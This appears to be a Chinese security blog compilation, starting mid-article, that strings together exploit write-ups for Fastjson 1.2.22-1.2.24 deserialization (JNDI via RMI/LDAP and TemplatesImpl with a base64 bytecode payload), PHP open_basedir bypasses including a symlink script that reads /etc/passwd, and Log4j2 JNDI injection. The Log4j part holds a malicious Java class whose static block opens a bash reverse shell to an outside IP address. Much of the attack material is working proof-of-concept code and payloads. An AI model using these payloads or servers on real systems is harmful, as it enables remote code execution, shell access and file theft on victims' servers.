首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
图片

到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

1
2
3
4
5
6
7
8
9
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

远程恶意类badClassName.class

1
2
3
4
5
6
7
8
9
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}

客户端JNDIClient.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

LDAP+JNDI

POC和上面一样,就是改了一下url,因为是ldap了

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java
这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

LDAPClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/badClassName");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意远程类和上面一样
图片

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect方法

图片

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload

1
2
3
4
5
6
7
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

跟进parseField方法,对_bytecodes对应的内容进行解析

跟进FieldDeserializer#parseField方法

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

跟进newTransformer方法

跟进getTransletInstance方法

这里通过defineTransletClasses创建了TEMPOC类并生成了实例

图片

进而执行TEMPOC类的构造方法所以就执行了任意代码,整个调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser

一些问题解惑

为什么要继承AbstractTranslet类

上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例

图片

如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常

为什么需要对_bytecodes进行Base64编码

图片

跟进deserialze方法

图片

跟进parseArray方法

图片

跟进ObjectDeserializer#deserializer方法

图片

跟进byteValue方法

图片

_bytecodes的内容进行base64解码

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错

图片

补丁分析

从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:

图片

图片
使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链

如何设置

php.ini搜索open_basedir

1
2
3
4
5
6
; open_basedir, if set, limits all file operations to the defined directory
; and below.  This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file.
; Note: disables the realpath cache
; http://php.net/open-basedir
;open_basedir =

设置当前目录,设置一个目录,多个目录的方法

1
2
3
open_basedir .  
open_basedir /tmp/
open_basedir /usr/:/tmp/

一、仅获取目录

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html(P神绕过open_basedir列目录的文章)

1、DirectoryIterator类 + glob://协议

利用DirectoryIterator类对象+glob://协议获取目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new DirectoryIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
?>

图片

2、FilesystemIterator类 + glob://协议

FilesystemIterator继承自DirectoryIterator,在显示上有丢丢区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
show_source(__FILE__);

?>

图片

二、文件读取

1、ini_set() + 相对路径

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
print_r(ini_get('open_basedir').'<br>');

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

echo file_get_contents('/etc/hosts');

?>

图片

原理

若open_basedir限定在当前目录,就需要新建子目录,进入设置其为..,若已经是open_basedir的子目录就不需要,因为已经限定到了当前目录。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上..,从而引发open_basedir自身向上跳一级,多次进行切换目录导致目录穿越到根目录,再将open_basedir设置到根目录即可

注意

最后chdir到根目录后,设置open_basedir一定是/而不能是.,否则相对路径转换出错从而失败

2、shell命令执行

shell命令不受open_basedir的影响

图片

symlink是软连接,通过偷梁换柱的方法绕过open_basedir

当前路径是/www/wwwroot/default新建目录数量=需要上跳次数+1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    show_source(__FILE__);
    
    mkdir("a");chdir("a");
    mkdir("b");chdir("b");
    mkdir("c");chdir("c");
    mkdir("d");chdir("d");
    
    chdir("..");chdir("..");chdir("..");chdir("..");
    
    symlink("a/b/c/d","tmplink");
    symlink("tmplink/../../../../etc/hosts","bypass");
    unlink("tmplink");
    mkdir("tmplink");
    echo file_get_contents("bypass");
?>

图片

原理

symlink会生成一个快捷方式,首先明确需要上跳三次,建四个目录,然后生成软连接symlink(“1/2/3/4”,”tmplink”),然后再生成symlink(“tmplink/../../../../etc/hosts”,”bypass”);,化简一下也就是etc/hosts,在当前目录下,因此通过了open_basedir创建成功

之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts,化简就是/etc/hosts

关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接

这里贴一个P神14年针对软链接读文件的自动化脚本(太强了),这个脚本需要我们上传上去再使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}
function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}
function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

4、蚁剑插件绕过

懂的都懂,直接插件市场下载disable_function一把梭就行,那个能用用那个

简单原理分析

其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。

最简单的日志打印

给一个登陆场景,不用关心登陆具体怎么实现,这里我们只需要关心用户名这个字段,举个例子代码

1
2
3
4
public void login(string name){
  String name = "test";  //表单接收name字段
  logger.info("{},登录了", name); //logger为log4j
}

明显一旦登陆后,我们就会通过表单接收到name字段,然后日志上就会有一条某用户登陆的记录。

lookup支持打印系统变量

name变量是用户输入的,用户输入什么都可以,上面的例子是字符串test。但是这都是正常输入,如果我们输入的是系统变量甚至恶意代码呢?

1
2
3
4
public void login(string name){
  String name = "{$java:os}";  //用户输入的name内容为  {$java:os}
  logger.info("{},登录了", name); //logger为log4j
}

如果在用户名框输入{$java:os},那么日志里就会记录的是系统相关的信息,上述代码就会输出

1
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

这是因为在log4j中提供了一个lookup功能,这个功能的具体作用暂且不表,先理解为可以把一些系统变量或代码放到日志能被执行就行

JNDI介绍

大多数可能对JNDI不是很了解,用最通俗的话来解释 其实就是你自己做一个服务,比如是

1
jndi:rmi:192.168.9.23:1099/remote

如果被攻击的服务器,比如某台线上的服务器,访问了或者执行了,你自己的JNDI服务,「那么线上的服务器就会来执行JNDI服务中的remote方法的代码」
回过头来如果在登录框里输入JNDI的服务地址

1
2
3
4
public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //用户输入的name内容为 jndi相关信息
  logger.info("{},登录了", name); 
}

那么只要用log4j来打印这么一条日志,那么log4j就会去执行  jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就可以对线上服务做任何操作了

具体分析

前提知识

什么是JNDI

JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

什么是LDAP

目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

什么是Codebase

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

原理概述

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的

恶意代码编写

我们一直在提到恶意的Class文件,那么恶意类的Java代码是怎样的呢?写个main函数?

直接写main函数是不行的,因为整个过程中Java并没有执行Class文件中的任何方法,只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下

1
2
3
4
5
6
7
8
9
10
11
12
public class evil {
static{
try {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.12.243.151/50025;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

攻击流程与原理

由于源码涉及比较多,所以就不会详细降解源码,只会大致梳理下关键调用链(其实是我自己懒不想跟着调)

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

源码:org.apache.logging.slf4j.Log4jLogger.debug(…)/info(…)/error(…)等方法

            > org.apache.logging.log4j.core.config.LoggerConfig.log(…)

                  > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

源码:StrSubstitutor.substitute(…) –解析出${}中的内容:jndi:ldap://localhost:9999/Test

                > StrSubstitutor.resolveVariable(…) –处理解析出的内容,执行lookup

                > Interpolator.lookup(…) –根据jndi找到jndi的处理类

                        > JndiLookup.lookup(…)

                        > JndiManager.lookup(…)

                                > java.naming.InitialContext.lookup(…) –调用Java底层的Lookup方法

PS:后续都是java内部提供的Lookup功能,与log4j无关

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

源码:LdapCtx.c_lookup(…) 请求并处理数据 (ldap中指定了javaCodeBase=)

                >Obj.decodeObject –解析到ldap结果,得到classFactoryLocation=http://localhost:8888

                > DirectoryManager.getObjectInstance(…) –请求Codebase得到对应类的结果

                        > NamingManager.getObjectFactoryFromReference(…) –请求Codebase

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

源码:VersionHelper12.loadClass(…) –请求Codebase得到Class并用类加载器加载

                > NamingManager.getObjectFactoryFromReference(…) 通过默认构造函数实例化类。

图片

图片

到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步:

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)

JDK高版本为何无效

其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。

图片

图片

图片

所以高版本的Java的请求逻辑如下。即无法请求Codebase,整个攻击因此失效

但我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。其实我们在模拟的时候完全可以通过System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);将其指定为true,这样我们就能够在高版本上执行攻击模拟。但是如果是探究高版本攻击原理和实际演练就不太行了

这里暂且不探究高版本攻击,知道大概原理即可

源码分析

具体涉及到的入口类是log4j-core-xxx.jar中的org.apache.logging.log4j.core.lookup.StrSubstitutor这个类。

原因是Log4j提供了Lookups的能力(关于Lookups可以点这里去看官方文档的介绍),简单来说就是变量替换的能力。

在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor这个类去处理。

相关的代码下面这个

首先是org.apache.logging.log4j.core.pattern.MessagePatternConverter这个类的format方法

图片

图片

图中标注1的地方就是现在漏洞修复的地方,让noLookups这个变量为true,就不会进去里面的逻辑,也就没有这个问题了(毕竟整个漏洞就是围绕lookup来的,都禁了咋执行?)。

图中标注2的地方就是判断字符串中是否包含${,如果包含,就将从这个字符开始一直到字符串结束,交给图中标注3的地方去进行替换。

图中标注3的地方就是具体执行替换的地方,其中config.getStrSubstitutor()就是我们上面提到的org.apache.logging.log4j.core.lookup.StrSubstitutor。

StrSubstitutor中,首先将${}之间的内容提取出来,交给resolveVariable这个方法来处理

图片

我们看下resolver的内容,它是org.apache.logging.log4j.core.lookup.Interpolator类的对象。

图片

图片

它的lookups定义了10中处理类型,还有一个默认的defaultLoopup,一种11中。如果能匹配到10中处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。

匹配规则也很简单,下面简单举个例子

1.如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello。

2.resolver会将第一个**:之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello**交给jdni的处理器JndiLookup去处理。

